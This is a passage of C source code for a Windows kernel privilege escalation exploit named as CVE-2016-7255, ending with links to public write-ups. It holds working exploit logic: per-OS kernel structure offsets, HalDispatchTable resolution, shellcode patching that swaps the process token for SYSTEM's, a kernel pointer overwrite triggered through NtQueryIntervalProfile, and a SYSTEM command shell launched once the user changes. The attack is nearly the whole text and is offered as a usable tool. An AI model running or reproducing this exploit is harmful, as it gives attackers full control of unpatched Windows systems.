ReturnLength,
&ReturnLength);
if (NtStatus != STATUS_SUCCESS) {
printf("\t\t\t[-] Failed To Get SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
KernelBaseAddressInKernelMode = pSystemModuleInformation->Module[0].Base;
KernelImage = strrchr((PCHAR)(pSystemModuleInformation->Module[0].ImageName), '\\') + 1;
printf("\t\t\t[+] Loaded Kernel: %s\n", KernelImage);
printf("\t\t\t[+] Kernel Base Address: 0x%p\n", KernelBaseAddressInKernelMode);
hKernelInUserMode = LoadLibraryA(KernelImage);
if (!hKernelInUserMode) {
printf("\t\t\t[-] Failed To Load Kernel: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
// This is still in user mode
HalDispatchTable = (UINT64)GetProcAddress(hKernelInUserMode, "HalDispatchTable");
if (!HalDispatchTable) {
printf("\t\t\t[-] Failed Resolving HalDispatchTable: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
else {
HalDispatchTable = (ULONGLONG)HalDispatchTable - (ULONGLONG)hKernelInUserMode;
// Here we get the address of HapDispatchTable in Kernel mode
HalDispatchTable = ((ULONGLONG)HalDispatchTable + (ULONGLONG)KernelBaseAddressInKernelMode);
printf("\t\t\t[+] HalDispatchTable: 0x%llx\n", HalDispatchTable);
}
HeapFree(GetProcessHeap(), 0, (LPVOID)pSystemModuleInformation);
if (hNtDll) {
FreeLibrary(hNtDll);
}
if (hKernelInUserMode) {
FreeLibrary(hKernelInUserMode);
}
hNtDll = NULL;
hKernelInUserMode = NULL;
pSystemModuleInformation = NULL;
return HalDispatchTable;
}
int __cdecl main(int argc, char** argv)
{
TCHAR pre_username[256];
TCHAR post_username[256];
DWORD size = 256;
ULONG Interval = 0;
HMODULE hNtDll = NULL;
UINT retval;
UINT64 overwrite_address;
int overwrite_offset;
// define operating system version specific variables
unsigned char sc_KPROCESS;
unsigned int sc_TOKEN;
unsigned int sc_APLINKS;
int osversion;
if (argc != 2) {
printf("Please enter an OS version\n");
printf("The following OS'es are supported:\n");
printf("\t[*] 7 - Windows 7\n");
printf("\t[*] 81 - Windows 8.1\n");
printf("\t[*] 10 - Windows 10 prior to build release 14393 (Anniversary Update)\n");
printf("\t[*] 12 - Windows 2012 R2\n");
printf("\n");
printf("\t[*] For example: cve-2016-7255.exe 7 -- for Windows 7\n");
return -1;
}
osversion = _strtoui64(argv[1], NULL, 10);
if(osversion == 7)
{
// the target machine's OS is Windows 7 SP1
printf(" [+] Windows 7 SP1\n");
sc_KPROCESS = 0x70; // dt -r1 nt!_KTHREAD +0x050 ApcState : _KAPC_STATE -> +0x020 Process : Ptr64 _KPROCESS
sc_TOKEN = 0x80; // dt -r1 nt!_EPROCESS [+0x208 Token : _EX_FAST_REF] - [+0x188 ActiveProcessLinks : _LIST_ENTRY] = (0x80)
sc_APLINKS = 0x188; // dt -r1 nt!_EPROCESS +0x188 ActiveProcessLinks : _LIST_ENTRY
overwrite_address = GetHalDispatchTable(); // HalDispatchTable
overwrite_offset = 0x8; // QueryIntervalProfile
}
else if(osversion == 81)
{
// the target machine's OS is Windows 8.1
printf(" [+] Windows 8.1\n");
sc_KPROCESS = 0xB8; // dt -r1 nt!_KTHREAD +0x098 ApcState : _KAPC_STATE -> +0x020 Process : Ptr64 _KPROCESS
sc_TOKEN = 0x60; // dt -r1 nt!_EPROCESS [+0x348 Token : _EX_FAST_REF] - [+0x2e8 ActiveProcessLinks : _LIST_ENTRY] = (0x60)
sc_APLINKS = 0x2e8; // dt -r1 nt!_EPROCESS +0x2e8 ActiveProcessLinks : _LIST_ENTRY
overwrite_address = 0xffffffffffd00510; // HalpInterruptController_address (dq poi(hal!HalpInterruptController))
overwrite_offset = 0x78; // HalpApicRequestInterruptOffset (dq halpApicRequestInterrupt)
}
else if(osversion == 10)
{
// the target machine's OS is Windows 10 prior to build 14393
printf(" [+] Windows 10\n");
sc_KPROCESS = 0xB8; // dt -r1 nt!_KTHREAD +0x098 ApcState : _KAPC_STATE -> +0x020 Process : Ptr64 _KPROCESS
sc_TOKEN = 0x68; // dt -r1 nt!_EPROCESS [+0x358 Token : _EX_FAST_REF] - [+0x2f0 ActiveProcessLinks : _LIST_ENTRY] = (0x60)
sc_APLINKS = 0x2f0; // dt -r1 nt!_EPROCESS +0x2f0 ActiveProcessLinks : _LIST_ENTRY
overwrite_address = 0xffffffffffd004c0; // HalpInterruptController_address (dq poi(hal!HalpInterruptController)
overwrite_offset = 0x78; // HalpApicRequestInterruptOffset (dq halpApicRequestInterrupt)
}
else if(osversion == 12)
{
// the target machine's OS is Windows 2012 R2
printf(" [+] Windows 2012 R2\n");
sc_KPROCESS = 0xB8; // dt -r1 nt!_KTHREAD +0x098 ApcState : _KAPC_STATE -> +0x020 Process : Ptr64 _KPROCESS
sc_TOKEN = 0x60; // dt -r1 nt!_EPROCESS [+0x348 Token : _EX_FAST_REF] - [+0x2e8 ActiveProcessLinks : _LIST_ENTRY] = (0x60)
sc_APLINKS = 0x2e8; // dt -r1 nt!_EPROCESS +0x2e8 ActiveProcessLinks : _LIST_ENTRY
overwrite_address = 0xffffffffffd12c70; // HalpInterruptController_address (dq poi(hal!HalpInterruptController)
overwrite_offset = 0x78; // HalpApicRequestInterruptOffset (dq halpApicRequestInterrupt)
}
// in case the OS version is not any of the previously checked versions
else
{
printf(" [-] Unsupported version\n");
printf(" [*] Affected 64-bit operating systems\n");
printf(" [*] Windows 7 SP1 -- cve-2016-7255.exe 7\n");
printf(" [*] Windows 8.1 -- cve-2016-7255.exe 81\n");
printf(" [*] Windows 10 before build 14393 -- cve-2016-7255.exe 10\n");
printf(" [*] Windows 2012 R2 -- cve-2016-7255.exe 12\n");
return -1;
}
printf("My PID is: %d\n", GetCurrentProcessId());
GetUserName(pre_username, &size);
printf("Current Username: %s\n", pre_username);
printf("PML4 Self Ref: %llx\n", PML4_SELF_REF);
printf("Shellcode stored at: %p\n", (void *) &shellcode);
printf("Enter to continue...\n");
getchar();
do
{
or_address_value_4((void*)PML4_SELF_REF);
} while (FALSE);
PML4_SELF_REF_INDEX = GET_INDEX((UINT64)PML4_SELF_REF);
printf("[*] Self Ref Index: %x\n", PML4_SELF_REF_INDEX);
PML4_BASE = ((UINT64)PML4_SELF_REF & (UINT64)0xFFFFFFFFFFFFF000);
UINT64 original_pointer = get_OverwriteAddress_pointer(overwrite_address, overwrite_offset);
printf("Original OverwriteTarget pointer: %llx\n", original_pointer);
DWORD pid = GetCurrentProcessId();
/* Shellcode Patching !! */
char *p = shellcode;
p += 4; // skip the CLI, PUSHF and MOV RAX bytes
*(PVOID *)p = (PVOID)original_pointer; // Patch shellcode1
p += 12; // Patch shellcode with original value in the Overwrite address
*(PVOID *)p = (PVOID)(overwrite_address + overwrite_offset);
p += 12; // To patch the PID of our process
*(DWORD *)p = (DWORD)pid;
p += 17;
*(unsigned char *)p = (unsigned char)sc_KPROCESS;
p += 7;
*(unsigned int *)p = (unsigned int)sc_APLINKS;
p += 20;
*(unsigned int *)p = (unsigned int)sc_TOKEN;
p += 20;
*(unsigned int *)p = (unsigned int)sc_TOKEN;
UINT64 shellcode_va = store_shellcode_in_hal();
printf("[+] w00t: Shellcode stored at: %llx\n", shellcode_va);
overwrite_TargetAddress(shellcode_va, overwrite_address, overwrite_offset);
if (osversion == 7){
// Exploit Win7.1
hNtDll = LoadLibrary("ntdll.dll");
if (!hNtDll) {
printf("\t\t[-] Failed loading NtDll: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(hNtDll, "NtQueryIntervalProfile");
if (!NtQueryIntervalProfile) {
printf("\t\t[-] Failed Resolving NtQueryIntervalProfile: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
NtQueryIntervalProfile(0x1337, &Interval);
}
while (1) {
size = 256;
GetUserName(post_username, &size);
if (memcmp(post_username, pre_username, 256) != 0) break;
}
Sleep(2000);
system("cmd.exe");
return 0;
}
Reference
https://ricklarabee.blogspot.com/2017/01/virtual-memory-page-tables-and-one-bit.html http://blog.trendmicro.com/trendlabs-security-intelligence/one-bit-rule-system-analyzing-cve-2016-7255-exploit-wild/ https://security.googleblog.com/2016/10/disclosing-vulnerabilities-to-protect.html https://www.exploit-db.com/docs/40822.pdf https://msdn.microsoft.com/ko-kr/library/windows/desktop/ms644898(v=vs.85).aspx https://github.com/rlarabee/exploits/tree/master/cve-2016-7255